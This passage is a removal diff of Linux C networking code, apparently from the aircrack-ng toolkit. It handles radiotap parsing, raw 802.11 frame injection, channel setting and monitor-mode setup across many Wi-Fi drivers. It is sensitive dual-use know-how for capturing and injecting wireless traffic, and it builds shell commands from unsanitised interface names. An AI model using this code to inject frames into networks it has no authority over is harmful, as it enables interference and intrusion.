-            case IEEE80211_RADIOTAP_RATE:
-                ri->ri_rate = (*iterator.this_arg) * 500000;
-                break;
-
-            case IEEE80211_RADIOTAP_FLAGS:
-                /* is the CRC visible at the end?
-                 * remove
-                 */
-                if ( *iterator.this_arg &
-                    IEEE80211_RADIOTAP_F_FCS )
-                {
-                    fcs_removed = 1;
-                    caplen -= 4;
-                }
-
-                if ( *iterator.this_arg &
-                    IEEE80211_RADIOTAP_F_BADFCS )
-                    return( 0 );
-
-                break;
-
-            }
-        }
-
-        n = le16_to_cpu(rthdr->it_len);
-
-        if( n <= 0 || n >= caplen )
-            return( 0 );
-    }
-
-    caplen -= n;
-
-    //detect fcs at the end, even if the flag wasn't set and remove it
-    if( fcs_removed == 0 && check_crc_buf_osdep( tmpbuf+n, caplen - 4 ) == 1 )
-    {
-        caplen -= 4;
-    }
-
-    memcpy( buf, tmpbuf + n, caplen );
-
-    if(ri && !got_channel)
-        ri->ri_channel = wi_get_channel(wi);
-
-    return( caplen );
-}
-
-static int linux_write(struct wif *wi, unsigned char *buf, int count,
-                        struct tx_info *ti)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    unsigned char maddr[6];
-    int ret, usedrtap=0;
-    unsigned char tmpbuf[4096];
-    unsigned char rate;
-    unsigned short int *p_rtlen;
-
-    unsigned char u8aRadiotap[] = {
-        0x00, 0x00, // <-- radiotap version
-        0x0c, 0x00, // <- radiotap header length
-        0x04, 0x80, 0x00, 0x00, // <-- bitmap
-        0x00, // <-- rate
-        0x00, // <-- padding for natural alignment
-        0x18, 0x00, // <-- TX flags
-    };
-
-    /* Pointer to the radiotap header length field for later use. */
-    p_rtlen = (unsigned short int*)(u8aRadiotap+2);
-
-
-    if((unsigned) count > sizeof(tmpbuf)-22) return -1;
-
-    /* XXX honor ti */
-    if (ti) {}
-
-    rate = dev->rate;
-
-    u8aRadiotap[8] = rate;
-
-    switch (dev->drivertype) {
-
-    case DT_MAC80211_RT:
-        memcpy(tmpbuf, u8aRadiotap, sizeof (u8aRadiotap) );
-        memcpy(tmpbuf + sizeof (u8aRadiotap), buf, count);
-        count += sizeof (u8aRadiotap);
-
-        buf = tmpbuf;
-        usedrtap = 1;
-        break;
-
-    case DT_WLANNG:
-        /* Wlan-ng isn't able to inject on kernel > 2.6.11 */
-        if( dev->inject_wlanng == 0 )
-        {
-                perror( "write failed" );
-                return( -1 );
-        }
-
-        if (count >= 24)
-        {
-            /* for some reason, wlan-ng requires a special header */
-
-            if( ( ((unsigned char *) buf)[1] & 3 ) != 3 )
-            {
-                memcpy( tmpbuf, buf, 24 );
-                memset( tmpbuf + 24, 0, 22 );
-
-                tmpbuf[30] = ( count - 24 ) & 0xFF;
-                tmpbuf[31] = ( count - 24 ) >> 8;
-
-                memcpy( tmpbuf + 46, buf + 24, count - 24 );
-
-                count += 22;
-            }
-            else
-            {
-                memcpy( tmpbuf, buf, 30 );
-                memset( tmpbuf + 30, 0, 16 );
-
-                tmpbuf[30] = ( count - 30 ) & 0xFF;
-                tmpbuf[31] = ( count - 30 ) >> 8;
-
-                memcpy( tmpbuf + 46, buf + 30, count - 30 );
-
-                count += 16;
-            }
-
-            buf = tmpbuf;
-        }
-        /* fall thru */
-    case DT_HOSTAP:
-        if( ( ((unsigned char *) buf)[1] & 3 ) == 2 )
-        {
-            /* Prism2 firmware swaps the dmac and smac in FromDS packets */
-
-            memcpy( maddr, buf + 4, 6 );
-            memcpy( buf + 4, buf + 16, 6 );
-            memcpy( buf + 16, maddr, 6 );
-        }
-        break;
-    default:
-        break;
-    }
-
-    ret = write( dev->fd_out, buf, count );
-
-    if( ret < 0 )
-    {
-        if( errno == EAGAIN || errno == EWOULDBLOCK ||
-            errno == ENOBUFS || errno == ENOMEM )
-        {
-            usleep( 10000 );
-            return( 0 );
-        }
-
-        perror( "write failed" );
-        return( -1 );
-    }
-
-    /* radiotap header length is stored little endian on all systems */
-    if(usedrtap)
-        ret-=letoh16(*p_rtlen);
-
-    if( ret < 0 )
-    {
-        if( errno == EAGAIN || errno == EWOULDBLOCK ||
-            errno == ENOBUFS || errno == ENOMEM )
-        {
-            usleep( 10000 );
-            return( 0 );
-        }
-
-        perror( "write failed" );
-        return( -1 );
-    }
-
-    return( ret );
-}
-
-#if defined(CONFIG_LIBNL)
-static int ieee80211_channel_to_frequency(int chan)
-{
-    if (chan < 14)
-        return 2407 + chan * 5;
-
-    if (chan == 14)
-        return 2484;
-
-    /* FIXME: dot11ChannelStartingFactor (802.11-2007 17.3.8.3.2) */
-    return (chan + 1000) * 5;
-}
-
-static int linux_set_channel_nl80211(struct wif *wi, int channel)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    char s[32];
-    int pid, status, unused;
-
-    unsigned int devid;
-    struct nl_msg *msg;
-    unsigned int freq;
-    unsigned int htval = NL80211_CHAN_NO_HT;
-
-    memset( s, 0, sizeof( s ) );
-
-    switch (dev->drivertype) {
-    case DT_WLANNG:
-        snprintf( s,  sizeof( s ) - 1, "channel=%d", channel );
-
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi),
-                    "lnxreq_wlansniff", s, NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &status, 0 );
-
-        if( WIFEXITED(status) )
-        {
-            dev->channel=channel;
-            return( WEXITSTATUS(status) );
-        }
-        else
-            return( 1 );
-        break;
-
-    case DT_ORINOCO:
-        snprintf( s,  sizeof( s ) - 1, "%d", channel );
-
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi),
-                    "monitor", "1", s, NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &status, 0 );
-        dev->channel = channel;
-        return 0;
-        break;  //yeah ;)
-
-    case DT_ZD1211RW:
-        snprintf( s,  sizeof( s ) - 1, "%d", channel );
-
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi),
-                    "channel", s, NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &status, 0 );
-        dev->channel = channel;
-	    chan=channel;
-        return 0;
-        break; //yeah ;)
-
-    default:
-        break;
-    }
-
-/* libnl stuff */
-    chan=channel;
-
-    devid=if_nametoindex(wi->wi_interface);
-    freq=ieee80211_channel_to_frequency(channel);
-    msg=nlmsg_alloc();
-    if (!msg) {
-        fprintf(stderr, "failed to allocate netlink message\n");
-        return 2;
-    }
-
-    genlmsg_put(msg, 0, 0, genl_family_get_id(state.nl80211), 0,
-            0, NL80211_CMD_SET_WIPHY, 0);
-
-    NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, devid);
-    NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq);
-    NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, htval);
-
-    nl_send_auto_complete(state.nl_sock,msg);
-    nlmsg_free(msg);
-
-    dev->channel = channel;
-
-    return( 0 );
- nla_put_failure:
-    return -ENOBUFS;
-}
-#else //CONFIG_LIBNL
-
-static int linux_set_channel(struct wif *wi, int channel)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    char s[32];
-    int pid, status, unused;
-    struct iwreq wrq;
-
-    memset( s, 0, sizeof( s ) );
-
-    switch (dev->drivertype) {
-    case DT_WLANNG:
-        snprintf( s,  sizeof( s ) - 1, "channel=%d", channel );
-
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi),
-                    "lnxreq_wlansniff", s, NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &status, 0 );
-
-        if( WIFEXITED(status) )
-        {
-            dev->channel=channel;
-            return( WEXITSTATUS(status) );
-        }
-        else
-            return( 1 );
-        break;
-
-    case DT_ORINOCO:
-        snprintf( s,  sizeof( s ) - 1, "%d", channel );
-
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi),
-                    "monitor", "1", s, NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &status, 0 );
-        dev->channel = channel;
-        return 0;
-        break;  //yeah ;)
-
-    case DT_ZD1211RW:
-        snprintf( s,  sizeof( s ) - 1, "%d", channel );
-
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi),
-                    "channel", s, NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &status, 0 );
-        dev->channel = channel;
-        return 0;
-        break; //yeah ;)
-
-    default:
-        break;
-    }
-
-    memset( &wrq, 0, sizeof( struct iwreq ) );
-    strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ );
-    wrq.ifr_name[IFNAMSIZ-1] = 0;
-
-    wrq.u.freq.m = (double) channel;
-    wrq.u.freq.e = (double) 0;
-
-    if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 )
-    {
-        usleep( 10000 ); /* madwifi needs a second chance */
-
-        if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 )
-        {
-/*          perror( "ioctl(SIOCSIWFREQ) failed" ); */
-            return( 1 );
-        }
-    }
-
-    dev->channel = channel;
-
-    return( 0 );
-}
-#endif
-
-static int linux_set_freq(struct wif *wi, int freq)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    char s[32];
-    int pid, status, unused;
-    struct iwreq wrq;
-
-    memset( s, 0, sizeof( s ) );
-
-    switch (dev->drivertype) {
-    case DT_WLANNG:
-    case DT_ORINOCO:
-    case DT_ZD1211RW:
-        snprintf( s,  sizeof( s ) - 1, "%dM", freq );
-
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi),
-                    "freq", s, NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &status, 0 );
-        dev->freq = freq;
-        return 0;
-        break; //yeah ;)
-
-    default:
-        break;
-    }
-
-    memset( &wrq, 0, sizeof( struct iwreq ) );
-    strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ );
-    wrq.ifr_name[IFNAMSIZ-1] = 0;
-
-    wrq.u.freq.m = (double) freq*100000;
-    wrq.u.freq.e = (double) 1;
-
-    if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 )
-    {
-        usleep( 10000 ); /* madwifi needs a second chance */
-
-        if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 )
-        {
-/*          perror( "ioctl(SIOCSIWFREQ) failed" ); */
-            return( 1 );
-        }
-    }
-
-    dev->freq = freq;
-
-    return( 0 );
-}
-
-static int opensysfs(struct priv_linux *dev, char *iface, int fd) {
-    int fd2;
-    char buf[256];
-
-    /* ipw2200 injection */
-    snprintf(buf, 256, "/sys/class/net/%s/device/inject", iface);
-    fd2 = open(buf, O_WRONLY);
-
-    /* bcm43xx injection */
-    if (fd2 == -1) {
-        snprintf(buf, 256, "/sys/class/net/%s/device/inject_nofcs", iface);
-        fd2 = open(buf, O_WRONLY);
-    }
-
-    if (fd2 == -1)
-        return -1;
-
-    dup2(fd2, fd);
-    close(fd2);
-
-    dev->sysfs_inject=1;
-    return 0;
-}
-
-int linux_get_monitor(struct wif *wi)
-{
-    struct priv_linux *dev = wi_priv(wi);
-    struct ifreq ifr;
-    struct iwreq wrq;
-
-    /* find the interface index */
-
-    if(dev->drivertype == DT_IPW2200)
-        return( 0 );
-
-    memset( &ifr, 0, sizeof( ifr ) );
-    strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 );
-
-//     if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 )
-//     {
-//         printf("Interface %s: \n", iface);
-//         perror( "ioctl(SIOCGIFINDEX) failed" );
-//         return( 1 );
-//     }
-
-    /* lookup the hardware type */
-
-    if( ioctl( wi_fd(wi), SIOCGIFHWADDR, &ifr ) < 0 )
-    {
-        printf("Interface %s: \n", wi_get_ifname(wi));
-        perror( "ioctl(SIOCGIFHWADDR) failed" );
-        return( 1 );
-    }
-
-    /* lookup iw mode */
-    memset( &wrq, 0, sizeof( struct iwreq ) );
-    strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ );
-    wrq.ifr_name[IFNAMSIZ-1] = 0;
-
-    if( ioctl( wi_fd(wi), SIOCGIWMODE, &wrq ) < 0 )
-    {
-        /* most probably not supported (ie for rtap ipw interface) *
-         * so just assume its correctly set...                     */
-        wrq.u.mode = IW_MODE_MONITOR;
-    }
-
-    if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 &&
-          ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM &&
-          ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) ||
-        ( wrq.u.mode != IW_MODE_MONITOR && (dev->drivertype != DT_ORINOCO)) )
-    {
-        return( 1 );
-    }
-
-    return( 0 );
-}
-
-int set_monitor( struct priv_linux *dev, char *iface, int fd )
-{
-    int pid, status, unused;
-    struct iwreq wrq;
-
-    if( strcmp(iface,"prism0") == 0 )
-    {
-        dev->wl = wiToolsPath("wl");
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execl( dev->wl, "wl", "monitor", "1", NULL);
-            exit( 1 );
-        }
-        waitpid( pid, &status, 0 );
-        if( WIFEXITED(status) )
-            return( WEXITSTATUS(status) );
-        return( 1 );
-    }
-    else if (strncmp(iface, "rtap", 4) == 0 )
-    {
-        return 0;
-    }
-    else
-    {
-        switch(dev->drivertype) {
-        case DT_WLANNG:
-            if( ( pid = fork() ) == 0 )
-            {
-                close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-                execl( dev->wlanctlng, "wlanctl-ng", iface,
-                        "lnxreq_wlansniff", "enable=true",
-                        "prismheader=true", "wlanheader=false",
-                        "stripfcs=true", "keepwepflags=true",
-                        "6", NULL );
-                exit( 1 );
-            }
-
-            waitpid( pid, &status, 0 );
-
-            if( WIFEXITED(status) )
-                return( WEXITSTATUS(status) );
-            return( 1 );
-            break;
-
-        case DT_ORINOCO:
-            if( ( pid = fork() ) == 0 )
-            {
-                close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-                execlp( dev->iwpriv, "iwpriv", iface,
-                        "monitor", "1", "1", NULL );
-                exit( 1 );
-            }
-
-            waitpid( pid, &status, 0 );
-
-            if( WIFEXITED(status) )
-                return( WEXITSTATUS(status) );
-
-            return 1;
-            break;
-
-        case DT_ACX:
-            if( ( pid = fork() ) == 0 )
-            {
-                close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-                execlp( dev->iwpriv, "iwpriv", iface,
-                        "monitor", "2", "1", NULL );
-                exit( 1 );
-            }
-
-            waitpid( pid, &status, 0 );
-
-            if( WIFEXITED(status) )
-                return( WEXITSTATUS(status) );
-
-            return 1;
-            break;
-
-        default:
-            break;
-        }
-
-        memset( &wrq, 0, sizeof( struct iwreq ) );
-        strncpy( wrq.ifr_name, iface, IFNAMSIZ );
-        wrq.ifr_name[IFNAMSIZ-1] = 0;
-        wrq.u.mode = IW_MODE_MONITOR;
-
-        if( ioctl( fd, SIOCSIWMODE, &wrq ) < 0 )
-        {
-            perror( "ioctl(SIOCSIWMODE) failed" );
-            return( 1 );
-        }
-
-        if(dev->drivertype == DT_AT76USB)
-        {
-            sleep(3);
-        }
-    }
-
-    /* couple of iwprivs to enable the prism header */
-
-    if( ! fork() )  /* hostap */
-    {
-        close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-        execlp( "iwpriv", "iwpriv", iface, "monitor_type", "1", NULL );
-        exit( 1 );
-    }
-    wait( NULL );
-
-    if( ! fork() )  /* r8180 */
-    {
-        close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-        execlp( "iwpriv", "iwpriv", iface, "prismhdr", "1", NULL );
-        exit( 1 );
-    }
-    wait( NULL );
-
-    if( ! fork() )  /* prism54 */
-    {
-        close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-        execlp( "iwpriv", "iwpriv", iface, "set_prismhdr", "1", NULL );
-        exit( 1 );
-    }
-    wait( NULL );
-
-    return( 0 );
-}
-
-
-static int openraw(struct priv_linux *dev, char *iface, int fd, int *arptype,
-		   unsigned char *mac)
-{
-    struct ifreq ifr;
-    struct ifreq ifr2;
-    struct iwreq wrq;
-    struct iwreq wrq2;
-    struct packet_mreq mr;
-    struct sockaddr_ll sll;
-    struct sockaddr_ll sll2;
-
-    /* find the interface index */
-
-    memset( &ifr, 0, sizeof( ifr ) );
-    strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 );
-
-    if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 )
-    {
-        printf("Interface %s: \n", iface);
-        perror( "ioctl(SIOCGIFINDEX) failed" );
-        return( 1 );
-    }
-
-    memset( &sll, 0, sizeof( sll ) );
-    sll.sll_family   = AF_PACKET;
-    sll.sll_ifindex  = ifr.ifr_ifindex;
-
-    switch(dev->drivertype) {
-    case DT_IPW2200:
-        /* find the interface index */
-
-        memset( &ifr2, 0, sizeof( ifr ) );
-        strncpy( ifr2.ifr_name, dev->main_if, sizeof( ifr2.ifr_name ) - 1 );
-
-        if( ioctl( dev->fd_main, SIOCGIFINDEX, &ifr2 ) < 0 )
-        {
-            printf("Interface %s: \n", dev->main_if);
-            perror( "ioctl(SIOCGIFINDEX) failed" );
-            return( 1 );
-        }
-
-        /* set iw mode to managed on main interface */
-        memset( &wrq2, 0, sizeof( struct iwreq ) );
-        strncpy( wrq2.ifr_name, dev->main_if, IFNAMSIZ );
-        wrq2.ifr_name[IFNAMSIZ-1] = 0;
-
-        if( ioctl( dev->fd_main, SIOCGIWMODE, &wrq2 ) < 0 )
-        {
-            perror("SIOCGIWMODE");
-            return 1;
-        }
-        wrq2.u.mode = IW_MODE_INFRA;
-        if( ioctl( dev->fd_main, SIOCSIWMODE, &wrq2 ) < 0 )
-        {
-            perror("SIOCSIWMODE");
-            return 1;
-        }
-
-        /* bind the raw socket to the interface */
-
-        memset( &sll2, 0, sizeof( sll2 ) );
-        sll2.sll_family   = AF_PACKET;
-        sll2.sll_ifindex  = ifr2.ifr_ifindex;
-        sll2.sll_protocol = htons( ETH_P_ALL );
-
-        if( bind( dev->fd_main, (struct sockaddr *) &sll2,
-                sizeof( sll2 ) ) < 0 )
-        {
-            printf("Interface %s: \n", dev->main_if);
-            perror( "bind(ETH_P_ALL) failed" );
-            return( 1 );
-        }
-
-        opensysfs(dev, dev->main_if, dev->fd_in);
-        break;
-    case DT_BCM43XX:
-        opensysfs(dev, iface, dev->fd_in);
-        break;
-    case DT_WLANNG:
-        sll.sll_protocol = htons( ETH_P_80211_RAW );
-        break;
-    default:
-        sll.sll_protocol = htons( ETH_P_ALL );
-        break;
-    }
-
-    /* lookup the hardware type */
-
-    if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 )
-    {
-        printf("Interface %s: \n", iface);
-        perror( "ioctl(SIOCGIFHWADDR) failed" );
-        return( 1 );
-    }
-
-    /* lookup iw mode */
-    memset( &wrq, 0, sizeof( struct iwreq ) );
-    strncpy( wrq.ifr_name, iface, IFNAMSIZ );
-    wrq.ifr_name[IFNAMSIZ-1] = 0;
-
-    if( ioctl( fd, SIOCGIWMODE, &wrq ) < 0 )
-    {
-        /* most probably not supported (ie for rtap ipw interface) *
-         * so just assume its correctly set...                     */
-        wrq.u.mode = IW_MODE_MONITOR;
-    }
-
-    if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 &&
-          ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM &&
-          ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) ||
-        ( wrq.u.mode != IW_MODE_MONITOR) )
-    {
-        if (set_monitor( dev, iface, fd ) && dev->drivertype != DT_ORINOCO )
-        {
-            ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING);
-
-            if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 )
-            {
-                perror( "ioctl(SIOCSIFFLAGS) failed" );
-                return( 1 );
-            }
-
-            if (set_monitor( dev, iface, fd ) )
-            {
-                printf("Error setting monitor mode on %s\n",iface);
-                return( 1 );
-            }
-        }
-    }
-
-    /* Is interface st to up, broadcast & running ? */
-    if((ifr.ifr_flags | IFF_UP | IFF_BROADCAST | IFF_RUNNING) != ifr.ifr_flags)
-    {
-        /* Bring interface up*/
-        ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
-
-        if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 )
-        {
-            perror( "ioctl(SIOCSIFFLAGS) failed" );
-            return( 1 );
-        }
-    }
-    /* bind the raw socket to the interface */
-
-    if( bind( fd, (struct sockaddr *) &sll,
-              sizeof( sll ) ) < 0 )
-    {
-        printf("Interface %s: \n", iface);
-        perror( "bind(ETH_P_ALL) failed" );
-        return( 1 );
-    }
-
-    /* lookup the hardware type */
-
-    if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 )
-    {
-        printf("Interface %s: \n", iface);
-        perror( "ioctl(SIOCGIFHWADDR) failed" );
-        return( 1 );
-    }
-
-    memcpy( mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6);
-
-    *arptype = ifr.ifr_hwaddr.sa_family;
-
-    if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 &&
-        ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM &&
-        ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL )
-    {
-        if( ifr.ifr_hwaddr.sa_family == 1 )
-            fprintf( stderr, "\nARP linktype is set to 1 (Ethernet) " );
-        else
-            fprintf( stderr, "\nUnsupported hardware link type %4d ",
-                     ifr.ifr_hwaddr.sa_family );
-
-        fprintf( stderr, "- expected ARPHRD_IEEE80211,\nARPHRD_IEEE80211_"
-                         "FULL or ARPHRD_IEEE80211_PRISM instead.  Make\n"
-                         "sure RFMON is enabled: run 'airmon-ng start %s"
-                         " <#>'\nSysfs injection support was not found "
-                         "either.\n\n", iface );
-        return( 1 );
-    }
-
-    /* enable promiscuous mode */
-
-    memset( &mr, 0, sizeof( mr ) );
-    mr.mr_ifindex = sll.sll_ifindex;
-    mr.mr_type    = PACKET_MR_PROMISC;
-
-    if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP,
-                    &mr, sizeof( mr ) ) < 0 )
-    {
-        perror( "setsockopt(PACKET_MR_PROMISC) failed" );
-        return( 1 );
-    }
-
-    return( 0 );
-}
-
-/*
- * Open the interface and set mode monitor
- * Return 1 on failure and 0 on success
- */
-static int do_linux_open(struct wif *wi, char *iface)
-{
-    int kver, unused;
-    struct utsname checklinuxversion;
-    struct priv_linux *dev = wi_priv(wi);
-    char *iwpriv = NULL;
-    char strbuf[512];
-    FILE *f;
-    char athXraw[] = "athXraw";
-    pid_t pid;
-    int n;
-    DIR *net_ifaces;
-    struct dirent *this_iface;
-    FILE *acpi;
-    char r_file[128], buf[128];
-    struct ifreq ifr;
-    char * unused_str;
-    int iface_malloced = 0;
-
-    dev->inject_wlanng = 1;
-    dev->rate = 2; /* default to 1Mbps if nothing is set */
-
-    /* open raw socks */
-    if( ( dev->fd_in = socket( PF_PACKET, SOCK_RAW,
-                              htons( ETH_P_ALL ) ) ) < 0 )
-    {
-        perror( "socket(PF_PACKET) failed" );
-        if( getuid() != 0 )
-            fprintf( stderr, "This program requires root privileges.\n" );
-        return( 1 );
-    }
-
-    if( ( dev->fd_main = socket( PF_PACKET, SOCK_RAW,
-                              htons( ETH_P_ALL ) ) ) < 0 )
-    {
-        perror( "socket(PF_PACKET) failed" );
-        if( getuid() != 0 )
-            fprintf( stderr, "This program requires root privileges.\n" );
-        return( 1 );
-    }
-
-        /* Check iwpriv existence */
-	iwpriv = wiToolsPath("iwpriv");
-
-#ifndef CONFIG_LIBNL
-    dev->iwpriv = iwpriv;
-    dev->iwconfig = wiToolsPath("iwconfig");
-    dev->ifconfig = wiToolsPath("ifconfig");
-
-    if (! iwpriv )
-    {
-        fprintf(stderr, "Can't find wireless tools, exiting.\n");
-        goto close_in;
-    }
-#endif
-
-    /* Exit if ndiswrapper : check iwpriv ndis_reset */
-
-    if ( is_ndiswrapper(iface, iwpriv ) )
-    {
-        fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n");
-        goto close_in;
-    }
-
-    if( ( dev->fd_out = socket( PF_PACKET, SOCK_RAW,
-                               htons( ETH_P_ALL ) ) ) < 0 )
-    {
-        perror( "socket(PF_PACKET) failed" );
-        goto close_in;
-    }
-    /* figure out device type */
-
-    /* mac80211 radiotap injection
-     * detected based on interface called mon...
-     * since mac80211 allows multiple virtual interfaces
-     *
-     * note though that the virtual interfaces are ultimately using a
-     * single physical radio: that means for example they must all
-     * operate on the same channel
-     */
-
-    /* mac80211 stack detection */
-    memset(strbuf, 0, sizeof(strbuf));
-    snprintf(strbuf, sizeof(strbuf) - 1,
-            "ls /sys/class/net/%s/phy80211/subsystem >/dev/null 2>/dev/null", iface);
-
-    if (system(strbuf) == 0)
-        dev->drivertype = DT_MAC80211_RT;
-
-    /* IPW2200 detection */
-    memset(strbuf, 0, sizeof(strbuf));
-    snprintf(strbuf, sizeof(strbuf) - 1,
-            "ls /sys/class/net/%s/device/inject >/dev/null 2>/dev/null", iface);
-
-    if (system(strbuf) == 0)
-        dev->drivertype = DT_IPW2200;
-
-    /* BCM43XX detection */
-    memset(strbuf, 0, sizeof(strbuf));
-    snprintf(strbuf, sizeof(strbuf) - 1,
-            "ls /sys/class/net/%s/device/inject_nofcs >/dev/null 2>/dev/null", iface);
-
-    if (system(strbuf) == 0)
-        dev->drivertype = DT_BCM43XX;
-
-    /* check if wlan-ng or hostap or r8180 */
-    if( strlen(iface) == 5 &&
-        memcmp(iface, "wlan", 4 ) == 0 )
-    {
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                  "wlancfg show %s 2>/dev/null | "
-                  "grep p2CnfWEPFlags >/dev/null",
-                  iface);
-
-        if( system( strbuf ) == 0 )
-        {
-            if (uname( & checklinuxversion ) >= 0)
-            {
-                /* uname succeeded */
-                if (strncmp(checklinuxversion.release, "2.6.", 4) == 0
-                    && strncasecmp(checklinuxversion.sysname, "linux", 5) == 0)
-                {
-                    /* Linux kernel 2.6 */
-                    kver = atoi(checklinuxversion.release + 4);
-
-                    if (kver > 11)
-                    {
-                        /* That's a kernel > 2.6.11, cannot inject */
-                        dev->inject_wlanng = 0;
-                    }
-                }
-            }
-            dev->drivertype = DT_WLANNG;
-            dev->wlanctlng = wiToolsPath("wlanctl-ng");
-        }
-
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                  "iwpriv %s 2>/dev/null | "
-                  "grep antsel_rx >/dev/null",
-                  iface);
-
-        if( system( strbuf ) == 0 )
-            dev->drivertype=DT_HOSTAP;
-
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                    "iwpriv %s 2>/dev/null | "
-                    "grep  GetAcx111Info  >/dev/null",
-                    iface);
-
-        if( system( strbuf ) == 0 )
-            dev->drivertype=DT_ACX;
-    }
-
-    /* enable injection on ralink */
-
-    if( strcmp( iface, "ra0" ) == 0 ||
-        strcmp( iface, "ra1" ) == 0 ||
-        strcmp( iface, "rausb0" ) == 0 ||
-        strcmp( iface, "rausb1" ) == 0 )
-    {
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                  "iwpriv %s rfmontx 1 >/dev/null 2>/dev/null",
-                  iface );
-        unused = system( strbuf );
-    }
-
-    /* check if newer athXraw interface available */
-
-    if( ( strlen( iface ) >= 4 || strlen( iface ) <= 6 )
-        && memcmp( iface, "ath", 3 ) == 0 )
-    {
-        dev->drivertype = DT_MADWIFI;
-        memset( strbuf, 0, sizeof( strbuf ) );
-
-        snprintf(strbuf, sizeof( strbuf ) -1,
-                  "/proc/sys/net/%s/%%parent", iface);
-
-        f = fopen(strbuf, "r");
-
-        if (f != NULL)
-        {
-            // It is madwifi-ng
-            dev->drivertype=DT_MADWIFING;
-            fclose( f );
-
-            /* should we force prism2 header? */
-
-            sprintf((char *) strbuf, "/proc/sys/net/%s/dev_type", iface);
-            f = fopen( (char *) strbuf,"w");
-            if (f != NULL) {
-                fprintf(f, "802\n");
-                fclose(f);
-            }
-
-            /* Force prism2 header on madwifi-ng */
-        }
-        else
-        {
-            // Madwifi-old
-            memset( strbuf, 0, sizeof( strbuf ) );
-            snprintf( strbuf,  sizeof( strbuf ) - 1,
-                      "sysctl -w dev.%s.rawdev=1 >/dev/null 2>/dev/null",
-                      iface );
-
-            if( system( strbuf ) == 0 )
-            {
-
-                athXraw[3] = iface[3];
-
-                memset( strbuf, 0, sizeof( strbuf ) );
-                snprintf( strbuf,  sizeof( strbuf ) - 1,
-                          "ifconfig %s up", athXraw );
-                unused = system( strbuf );
-
